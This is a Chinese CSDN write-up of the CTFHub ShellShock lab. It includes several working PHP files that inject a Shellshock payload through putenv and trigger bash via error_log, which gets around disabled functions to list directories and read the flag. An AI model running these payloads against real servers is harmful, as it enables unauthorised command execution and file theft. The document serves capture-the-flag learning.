2024年CTFHub ShellShock wp(详解)

本文详细描述了如何在PHP环境中利用shellshock漏洞执行命令,通过设置环境变量并上传文件,实现对服务器文件的操作。作者强调了系统化学习的重要性,提倡在技术社区中协作学习。
摘要由CSDN通过智能技术生成

尝试在终端执行命令,发现返回ret=127,无法执行命令

所以上传文件,借助shellshock漏洞,这里编写feng.php

查看phpinfo()时发现safe_mode_allowed_env_vars为PHP_,所以在feng.php中,环境变量的名称为PHP_自定义(可在安全模式 « PHP Manual | PHP 中文手册查看safe_mode_allowed_env_vars含义)

PHP里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触shellshock执行命令

<?php 
   putenv("PHP_hy=() { :; }; ls / >> /var/www/html/test"); 
   //这里设置环境变量时只要前缀是PHP_即可
   //利用shellshock漏洞,执行ls /命令,建立test文件,将结果保存在test中
   error_log('',1,'','');
   //查看phpinfo,发现mail函数被禁用,error_log可用,所以在这里使用error_log,在message_type设置为1的时候,使用mail()的同一个内置函数。
   echo 'ok';//便于判断是否运行成功
?>

上传文件后,在浏览器访问feng.php

在/var/www/html目录下得到test文件,在test文件中得到根目录,在根目录中发现readflag与flag文件

更改feng.php内容,改为查看readflag文件,发现readflag是一个shell文件,所以运行readflag文件

<?php 
   putenv("PHP_hy=() { :; }; cat /readflag >> /var/www/html/test"); 
   error_log('',1,'','');
   echo 'ok';
?>

得到flag

<?php 
   putenv("PHP_hy=() { :; }; /readflag >> /var/www/html/test"); 
   error_log('',1,'','');
   echo 'ok';
?>

补充:因为readflag中内容为tac /flag,所以也可以不运行readflag文件,直接访问flag文件

<?php 
   putenv("PHP_hy=() { :; }; tac /flag >> /var/www/html/test"); 
   error_log('',1,'','');
   echo 'ok';
?>

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值